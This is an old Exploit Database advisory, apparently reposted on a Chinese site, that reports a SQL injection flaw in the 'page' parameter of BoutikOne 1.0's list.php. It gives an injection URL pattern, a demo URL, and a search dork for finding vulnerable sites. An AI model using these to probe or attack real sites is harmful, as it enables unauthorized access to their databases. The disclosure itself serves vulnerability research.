BoutikOne 1.0 – SQL Injection

• Exploit Database
• 35 阅读

• 作者： BrOx-Dz
  日期： 2010-09-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15049/

• _____________________/ /_
  / ___/ _ \/ ___/ ___/ _ \/ __/
   (__)__/ /__/ //__/ /_
  /____/\___/\___/_/ \___/\__/
  #####################################################################
  # Exploit Title: BoutikOne® v1 (list.php) SQL Injection Vulnerabilitie
  # Date: 19/09/2010
  # Author: BrOx-Dz
  # Author: E.dz@hotmail.fr
  # Software Link: http://www.boutikone.com/
  # Dork: Powered by BoutikOne®
  # Version: BoutikOne®
  # Tested on: windows xp pack 3
  #####################################################################
  
  ----------------------------------------------------------------------------
  
  #e.g :
  http://server/patch/list.php?lang=1&path=50&num=38&action=n&sort=Id&page=0[sql]
  
  #demo :
  http://www.site.com/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0'
  
  ----------------------------------------------------------------------------
  greatez:
  
  lagripe-dzmca_crbaminehalim all dz members.
  
  www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/.